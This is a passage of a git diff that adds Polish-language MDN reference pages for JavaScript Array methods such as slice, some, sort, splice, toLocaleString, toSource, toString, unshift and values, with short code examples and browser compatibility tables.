od drugiego do czwartego (o indeksach 1, 2 i 3).</dd> +</dl> + +<dl> + <dd>Jeżeli parametr ten ma wartość ujemną to <code>end</code> określa odległość od końca tablicy. <code>slice(2,-1)</code> wydobywa kolejne elementy od trzeciego do przedostatniego.</dd> +</dl> + +<dl> + <dd>Jeżeli <code>end</code> jest pominięty, <code>slice</code> wydobywa wszystkie elementy do końca tablicy.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>slice</code> nie zmienia zawartości oryginalnej tablicy, tylko zwraca nową kopię "o jednym poziomie głębokości" zawierającą elementy wyciągnięte z oryginalnej tablicy. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:</p> + +<ul> + <li>W przypadku referencji do obiektów (nie obiektów właściwych), <code>slice</code> kopiuje referencje do nowej tablicy. Obydwie - oryginalna i nowa tablica - odnoszą się do tego samego obiektu. Jeżeli zmienimy obiekt odniesienia, zmiany są widoczne dla obydwu tablic, nowej i oryginalnej.</li> +</ul> + +<ul> + <li>Dla łańcuchów znaków i liczb (nie będących obiektami {{jsxref("String")}} i {{jsxref("Number")}}, <code>slice</code> kopiuje łańcuchy znaków i liczby do nowej tablicy. Zmiana łańcucha znaków lub liczby w jednej z tablic nie wpływa na wartość w drugiej.</li> +</ul> + +<p>Jeżeli nowy element jest dodany do jednej z tablic, to nie wpływa to w żaden sposób na drugą.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_slice" name="Przyk.C5.82ad:_Zastosowanie_slice">Przykład: Zastosowanie <code>slice</code></h3> + +<p>W następującym przykładzie <code>slice</code> tworzy nową tablicę <code>newCar</code> z <code>myCar</code>. Obydwie zawierają odniesienie do obiektu <code>myHonda</code>. Kiedy kolor <code>myHonda</code> jest zmieniany na purpurowy, to obie tablice odzwierciedlają zmianę.</p> + +<pre class="brush: js">//Użycie slice, tworzenie newCar z myCar. +var myHonda = { color: "red", wheels: 4, engine: { cylinders: 4, size: 2.2 } }; +var myCar = [myHonda, 2, "cherry condition", "purchased 1997"]; +var newCar = myCar.slice(0, 2); + +//Wpisz wartości myCar, newCar i color myHonda +// referenced from both arrays. +console.log("myCar = " + myCar.toSource()); +console.log("newCar = " + newCar.toSource()); +console.log("myCar[0].color = " + myCar[0].color); +console.log("newCar[0].color = " + newCar[0].color); + +//zmienia kolor myHonda. +myHonda.color = "purple"; +console.log("Nowy kolor mojej Honda to " + myHonda.color); + +//Wpisz color myHonda odnoszący się do oby tablic +console.log("myCar[0].color = " + myCar[0].color); +console.log("newCar[0].color = " + newCar[0].color); +</pre> + +<p>Ten skrypt wypisze:</p> + +<pre class="brush: js">myCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2, "cherry condition", "purchased 1997"] +newCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2] +myCar[0].color = red +newCar[0].color = red +Nowym kolorem mojej Honda jest purpurowy +myCar[0].color = purple +newCar[0].color = purple +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/array/some/index.html b/files/pl/web/javascript/referencje/obiekty/array/some/index.html new file mode 100644 index 0000000000..6ba1777370 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/some/index.html @@ -0,0 +1,110 @@ +--- +title: Array.prototype.some() +slug: Web/JavaScript/Referencje/Obiekty/Array/some +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/some +--- +<p>{{ JSRef }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Sprawdza, czy jakikolwiek element tablicy zalicza test zaimplementowany przez dostarczoną funkcję .</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.some(<var>callback</var>[, <var>thisArg</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code> </dt> + <dd>Funkcja sprawdzająca dla każdego elementu.</dd> + <dt><code>thisArg</code></dt> + <dd>Obiekt do użycia jako <code>this</code> gdy wykonujemy funkcję <code>callback</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>some</code> wykonuje funkcję <code>callback</code>) na każdym elemencie tablicy, aż znajdzie taki, dla którego <code>callback</code> zwróci prawdę (<code>true</code>). Jeżeli taki element zostanie znaleziony, <code>some</code> zakończy swoje działanie i zwróci prawdę (<code>true</code>), w przeciwnym przypadku (gdy <code>callback</code> zwróci fałsz dla każdego z elementów) <code>some</code> zwróci <code>false</code>. Tablice nie są traktowane jako "zwarte" - czyli <code>callback</code> zostanie wywołany dla każdego indeksu tablicy dla którego wartość została przypisana. Nie zostanie wywołany dla indeksów, które zostały usunięte, bądź dla których nigdy nie została przypisana wartość.</p> + +<p><code>callback</code> wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i przemierzaną tablicą.</p> + +<p>W przypadku podania argumentu <code>thisObject</code>, zostanie on przekazany jako <code>this</code> przy każdym wywołaniu <code>callback</code>. Gdy go brak, lub ma wartość <code>null</code>, użyty zostanie obiekt globalny przyporządkowany do <code>callback</code>.</p> + +<p><code>some</code> nie modyfikuje tablicy, na której jest wywołany.</p> + +<p>Zakres elementów przetwarzanych przez <code>some</code> ustalany jest przed pierwszym wywołaniem <code>callback</code>. Elementy dodane do tablicy po wywołaniu <code>some</code> nie zostaną sprawdzone przez <code>callback</code>. Jeśli istniejący, niesprawdzony jeszcze element tablicy zostanie zmieniony lub usunięty przez <code>callback</code>, wartością przekazaną do <code>callback</code> będzie wartość z momentu, w którym <code>some</code> sprawdza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako <code>undefined</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy">Sprawdzanie rozmiaru wszystkich elementów tablicy</h3> + +<p>Następujący przykład sprawdza czy jakiś element tablicy jest większy, bądź równy 10.</p> + +<pre class="brush: js">function czyWiekszyNiz10(element, index, array) { + return element > 10; +} +[2, 5, 8, 1, 4].some(czyWiekszyNiz10); // false +[12, 5, 8, 1, 44].some(czyWiekszyNiz10); // true +</pre> + +<h3 id="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy">Sprawdzanie elementów używając funkcji strzałkowych</h3> + +<p>Funkcje strzałkowe dają krótszą składnię dla tego samego testu.</p> + +<pre class="brush: js">[2, 5, 8, 1, 4].some(x => x > 10); // false +[12, 5, 8, 1, 44].some(x => x > 10); // true +</pre> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.8")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.8")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/javascript/referencje/obiekty/array/sort/index.html b/files/pl/web/javascript/referencje/obiekty/array/sort/index.html new file mode 100644 index 0000000000..2b53d4e6d5 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/sort/index.html @@ -0,0 +1,122 @@ +--- +title: Array.prototype.sort() +slug: Web/JavaScript/Referencje/Obiekty/Array/sort +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Sortuje elementy tablicy.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>compareFunction</code> </dt> + <dd>jest nazwą funkcji porównującej elementy. Jeżeli parametr zostanie pominięty, tablica będzie posortowana w porządku leksykograficznym (alfabetycznie).</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeżeli <code>compareFunction</code> nie zostanie podana, elementy zostaną posortowane leksykograficznie (alfabetycznie - słownikowo) według porównania ich reprezentacji znakowej (łańcucha znaków). Przykładowo "80" znajdzie się przed "9" w porządku leksykograficznym, pomimo że numerycznie 9 poprzedza 80.</p> + +<p>Jeżeli <code>compareFunction</code> zostanie podana, elementy tablicy zostaną posortowane odpowiednio do wartości zwracanej przez funkcję porównującą. Jeżeli <code>a</code> oraz <code>b</code> są dwoma porównywanymi elementami tablicy to:</p> + +<ul> + <li><code>compareFunction(a, b)</code> zwróci wartość mniejszą od 0 - indeks elementu <code>a</code> będzie mniejszy niż indeks <code>b</code> (logicznie <code>a</code> < <code>b</code>).</li> +</ul> + +<ul> + <li><code>compareFunction(a, b)</code> zwróci 0 - pozostawia <code>a</code> oraz <code>b</code> w niezmienionej kolejności względem siebie, jednak w dalszym ciągu oba będą porównywane z innymi elementami (logicznie <code>b</code> = <code>a</code>). Uwaga: Standard ECMAscript nie gwarantuje niezmienionej kolejności (np. Mozilla wszystkie wersje do 2003 roku).</li> +</ul> + +<ul> + <li><code>compareFunction(a, b)</code> zwraca wartość większą od 0 - indeks elementu <code>a</code> będzie większy niż indeks <code>b</code> (logicznie <code>a</code> > <code>b</code>).</li> +</ul> + +<p>Ogólna postać funkcji porównującej wygląda następująco:</p> + +<pre class="brush: js">function compare(a, b) { + if (a mniejsze niż b według kryteriów sortowania) + return -1 + if (a większe od b według kryteriów sortowania) + return 1 + // a równe b + return 0 +} +</pre> + +<p>W celu porównania liczb, zamiast napisów, funkcja porównująca może odejmować <code>b</code> od <code>a</code>:</p> + +<pre class="brush: js">function compareNumbers(a, b) { + return a - b +} +</pre> + +<p>Niektóre implementacje JavaScript wykonują sortowanie stabilne: kolejność elementów <code>a</code> i <code>b</code> nie jest zmieniana jeśli <code>a</code> i <code>b</code> są sobie równe. Jeżeli przed sortowaniem <code>a</code> jest w tablicy wcześniej niż <code>b</code> oraz <code>a</code> i <code>b</code> są sobie równe, to po sortowaniu ich kolejność będzie taka sama (niezależnie od tego, jak zmienią się pozycje elementów <code>a</code> i <code>b</code>).</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Tworzenie.2C_wy.C5.9Bwietlanie_i_sortowanie_tablic" name="Przyk.C5.82ad:_Tworzenie.2C_wy.C5.9Bwietlanie_i_sortowanie_tablic">Przykład: Tworzenie, wyświetlanie i sortowanie tablic</h3> + +<p>Następujący przykład tworzy cztery tablice i wyświetla oryginalną tablicę, potem posortowane tablice. Tablice liczbowe są sortowane najpierw bez podania funkcji porównującej, następnie z taką funkcją.</p> + +<pre class="brush: js">stringArray = new Array("Blue","Humpback","Beluga") +numericStringArray = new Array("80","9","700") +numberArray = new Array(40,1,5,200) +mixedNumericArray = new Array("80","9","700",40,1,5,200) + +function compareNumbers(a, b) { + return a - b +} + +console.log("tablicaNapisów: " + stringArray.join()) +console.log("Posortowana: " + stringArray.sort()) + +console.log("tablicaLiczbowa: " + numberArray.join()) +console.log("Posortowana bez funkcji porównującej: " + numberArray.sort()) +console.log("Posortowana z funkcją porównującą: " + numberArray.sort(compareNumbers)) + +console.log("tablicaNapisówLiczbowych: " + numericStringArray.join()) +console.log("Posortowana bez funkcji porównującej: " + numericStringArray.sort()) +console.log("Posortowana z funkcją porównującą: " + numericStringArray.sort(compareNumbers)) + +console.log("tablicaLiczbowaMieszna: " + mixedNumericArray.join()) +console.log("Posortowana bez funkcji porównującej: " + mixedNumericArray.sort()) +console.log("Posortowana z funkcją porównującą: " + mixedNumericArray.sort(compareNumbers)) +</pre> + +<p>Ten przykład wyświetla następujące dane. Jak widać, przy zastosowaniu funkcji porównującej, liczby są sortowane prawidłowo niezależnie od tego czy są przedstawiane jako wartości liczbowe bądź też napisy.</p> + +<pre>tablicaNapisów: Blue,Humpback,Beluga +Posortowana: Beluga,Blue,Humpback + +tablicaLiczbowa: 40,1,5,200 +Posortowana bez funkcji porównującej: 1,200,40,5 +Posortowana z funkcją porównującą: 1,5,40,200 + +tablicaNapisówLiczbowych: 80,9,700 +Posortowana bez funkcji porównującej: 700,80,9 +Posortowana z funkcją porównującą: 9,80,700 + +tablicaLiczbowaMieszna: 80,9,700,40,1,5,200 +Posortowana bez funkcji porównującej: 1,200,40,5,700,80,9 +Posortowana z funkcją porównującą: 1,5,9,40,80,200,700 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.reverse()")}}</li> + <li>{{jsxref("String.prototype.localeCompare()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/splice/index.html b/files/pl/web/javascript/referencje/obiekty/array/splice/index.html new file mode 100644 index 0000000000..cc4d13def3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/splice/index.html @@ -0,0 +1,86 @@ +--- +title: Array.prototype.splice() +slug: Web/JavaScript/Referencje/Obiekty/Array/splice +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zmienia zawartość tablicy, dodając nowe elementy podczas usuwania starych elementów.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>array</var>.splice(<var>start</var>, <var>deleteCount</var>[, <var>item1</var>[, <var>item2</var>[, ...]]]) +</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>start</code></dt> + <dd>Indeks od którego rozpoczynamy modyfikację tablicy.</dd> +</dl> + +<dl> + <dt><code>deleteCount</code></dt> + <dd>Liczba całkowita określająca liczbę starych elementów tablicy do usunięcia. Jeżeli <font face="Consolas, Monaco, Andale Mono, monospace">deleteCount</font> wynosi 0, nic nie zostanie usunięte. W tym przypadku należy podać co najmniej jeden nowy element. W przypadku gdy parametr <font face="Consolas, Monaco, Andale Mono, monospace">deleteCount</font> nie został podany (druga forma składni podana powyżej, która jest rozszerzeniem SpiderMonkey), wszystkie elementy o indeksach wyższych <code>lub równych index</code> są usuwane.</dd> +</dl> + +<dl> + <dt><code>itemN</code></dt> + <dd>Elementy dodawane do tablicy. Jeżeli nie określimy żadnych elementów, <code>splice</code> usunie tylko podaną liczbę elementów.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeżeli podamy różną liczbę wstawianych elementów od liczby usuwanych elementów, tablica będzie posiadała inną długość po wywołaniu metody <code>splice</code>.</p> + +<p>Metoda <code>splice</code> zwraca tablicę zawierającą usunięte elementy. Jeżeli usunięty został tylko jeden element, zwracana jest tablica jednoelementowa.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_splice" name="Przyk.C5.82ad:_Zastosowanie_splice">Przykład: Zastosowanie <code>splice</code></h3> + +<p>Następujący skrypt ilustruje użycie splice:</p> + +<pre class="brush: js">myFish = ["anioł", "klaun", "mandarynka", "jesiotr"]; +console.log("myFish: " + myFish); + +removed = myFish.splice(2, 0, "bęben"); +console.log("Po dodaniu 1: " + myFish); +console.log("Usunięty jest: " + removed); + +removed = myFish.splice(3, 1) +console.log("Po usunięciu 1: " + myFish); +console.log("Usunięty jest: " + removed); + +removed = myFish.splice(2, 1, "trąba") +console.log("Po zastąpieniu 1: " + myFish); +console.log("Usunięty jest: " + removed); + +removed = myFish.splice(0, 2, "papuga", "zawilec", "niebieski") +console.log("Po zastąpieniu 2: " + myFish); +console.log("Usunięty jest: " + removed); +</pre> + +<p>Ten skrypt wyświetli:</p> + +<pre>myFish: ["anioł", "klaun", "mandarynka", "jesiotr"] + +Po dodaniu 1: ["anioł", "klaun", "bęben", "mandarynka", "jesiotr"] +Usunięty jest: undefined + +Po usunięciu 1: ["anioł", "klaun", "bęben, "jesiotr"] +Usunięty jest: mandarynka + +Po zastąpieniu 1: ["anioł", "klaun", "trąba", "jesiotr"] +Usunięty jest: bęben + +Po zastąpieniu 2: ["papuga", "zawilec", "niebieski", "trąba", "jesiotr"] +Usunięty jest: ["anioł", "klaun"] +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html new file mode 100644 index 0000000000..1dc476c413 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html @@ -0,0 +1,128 @@ +--- +title: Array.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Array/toLocaleString +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString +--- +<div>{{JSRef}}</div> + +<div>Metoda <code><strong>toLocaleString()</strong></code> zwraca łańcuch znaków reprezentujący wszystkie elementy w tablicy. Każdy element jest konwerterowany do łańcucha znaku za pomocą lokalnych wywołań <code>toLocaleString. Elementy </code>łaczone są separatorem zdefiniowanym dla lokalnego języka (np. przecinek).</div> + +<div></div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate"><code><var>arr</var>.toLocaleString();</code></pre> + +<h2 id="Opis">Opis</h2> + +<p>Poniższe elementy tablic są konwertowane na łańcuchy znaków za pomocą wbudowanych metod <code>toLocaleString</code></p> + +<ul> + <li><code>Object</code>: {{jsxref("Object.prototype.toLocaleString()")}}</li> + <li><code>Number</code>: {{jsxref("Number.prototype.toLocaleString()")}}</li> + <li><code>Date</code>: {{jsxref("Date.prototype.toLocaleString()")}}</li> +</ul> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="Użycie_toLocaleString">Użycie <code>toLocaleString</code></h3> + +<pre class="notranslate">let numer = 1337; +let data = new Date(); +let tablica = [numer , data, 'foo']; + +let str = tablica.toLocaleString(); + +console.log(str); +// logs '1337,19.11.2020, 17:21:06,foo' +// if run in a Polish (pl-PL) locale with timezone Europe/Warsaw + + +let strEn = tablica.toLocaleString("en-US"); // "1,337,11/19/2020, 5:21:06 PM,foo"</pre> + + + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarze</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Inicjalna definicja</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Array.prototype.toLocaleString')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html new file mode 100644 index 0000000000..675e8431a2 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html @@ -0,0 +1,62 @@ +--- +title: Array.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Array/toSource +tags: + - Array + - JavaScript + - Method + - Non-standard + - Prototype + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący kod źródłowy tablicy.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.toSource()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>toSource</code> zwraca następujące wartości:</p> + +<p><span class="comment">This shouldn't be here, but until reorganization where pages are moved to their proper places, the title of this article is ambiguous, so it can stay. After reorganization, this should be removed.</span></p> + +<ul> + <li>Dla wbudowanego obiektu <code>Array</code>, <code>toSource</code> zwraca następujący łańcuch znaków sygnalizując, że kod źródłowy jest niedostępny: + + <pre class="brush: js">function Array() { + [natywny kod] +} +</pre> + </li> + <li>Dla instancji {{jsxref("Array")}}, <code>toSource</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li> +</ul> + +<p>Metoda ta jest zazwyczaj wywoływana wewnętrznie przez JavaScript, a nie bezpośrednio w kodzie. Możliwe jest wywołanie <code>toSource</code> podczas debugowania, aby zbadać zawartość tablicy.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Sprawdzanie_kodu_.C5.BAr.C3.B3d.C5.82owego_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_kodu_.C5.BAr.C3.B3d.C5.82owego_tablicy">Przykład: Sprawdzanie kodu źródłowego tablicy</h3> + +<p>Do sprawdzania kodu źródłowego tablicy:</p> + +<pre class="brush: js">var alpha = new Array("a", "b", "c"); + +alpha.toSource() //zwraca ["a", "b", "c"] +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}}</li> + <li>{{jsxref("Array.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html new file mode 100644 index 0000000000..e4801cbdc4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html @@ -0,0 +1,42 @@ +--- +title: Array.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Array/toString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>toString()</strong></code> zwraca łańcuch znaków reprezentujący daną tablicę wraz z jej elementami.</p> + +<pre class="brush: js">var months = ['Styczeń', 'Luty', 'Marzec', 'Kwiecień']; +months.toString(); // "Styczeń,Luty,Marzec,Kwiecień" +</pre> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.toString()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt {{jsxref("Array")}} przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}. Dla obiektów Array, metoda <code>toString</code> łączy tablicę i zwraca jeden łańcuch znaków zawierający wszystkie elementy tablicy oddzielone przecinkami. Przykładowo poniższy kod tworzy tablicę i stosuje metodę <code>toString</code>, aby przekształcić tablicę do łańcucha znaków.</p> + +<pre class="brush: js">var monthNames = new Array("Jan","Feb","Mar","Apr") +var myVar = monthNames.toString() // przypisuje "Jan,Feb,Mar,Apr" do zmiennej myVar +</pre> + +<p>JavaScript wywołuje metodę <code>toString</code> automatycznie, gdy tablica jest traktowana jako wartość tekstowa lub kiedy istnieje odniesienie do tej tablicy wewnątrz połączonego łańcucha znaków.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}}</li> + <li>{{jsxref("Array.prototype.join()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html b/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html new file mode 100644 index 0000000000..56346f6552 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html @@ -0,0 +1,56 @@ +--- +title: Array.prototype.unshift() +slug: Web/JavaScript/Referencje/Obiekty/Array/unshift +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Dodaje jeden lub więcej elementów na początek tablicy i zwraca jej nową długość.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.unshift([<var>element1</var>[, ...[, <var>elementN</var>]]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>element + <i>N</i> + </code> </dt> + <dd>Elementy do dodania na początek tablicy.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy" name="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy">Przykład: Dodawanie elementów do tablicy</h3> + +<p>Następujący kod wyświetli tablicę <code>myFish</code> przed i po dodaniu do niej elementów.</p> + +<pre class="brush: js">myFish = ["anioł", "klaun"]; +console.log("myFish przed: " + myFish); +unshifted = myFish.unshift("bęben", "lew"); +console.log("myFish po: " + myFish); +console.log("Nowa długość tablicy: " + unshifted); +</pre> + +<p>Powyższy przykład wyświetli:</p> + +<pre>myFish przed: ["anioł", "klaun"] +myFish po: ["bęben", "lew", "anioł", "klaun"] +Nowa długość tablicy: 4 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.push()")}}</li> + <li>{{jsxref("Array.prototype.pop()")}}</li> + <li>{{jsxref("Array.prototype.shift()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/values/index.html b/files/pl/web/javascript/referencje/obiekty/array/values/index.html new file mode 100644 index 0000000000..b079877dd9 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/values/index.html @@ -0,0 +1,84 @@ +--- +title: Array.prototype.values() +slug: Web/JavaScript/Referencje/Obiekty/Array/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Metodă + - Prototype + - Tablica +translation_of: Web/JavaScript/Reference/Global_Objects/Array/values +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>values()</code></strong> zwraca nowy obiekt <strong><code>Array Iterator</code></strong> , który zawiera wartości dla każdego indeksu w tablicy.</p> + +<pre class="brush: js">var a = ['w', 'y', 'k', 'o', 'p']; +var iterator = a.values(); + +console.log(iterator.next().value); // w +console.log(iterator.next().value); // y +console.log(iterator.next().value); // k +console.log(iterator.next().value); // o +console.log(iterator.next().value); // p</pre> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>arr</var>.values()</pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowy obiekt {{jsxref("Array")}} iterator.</p> + +<h2 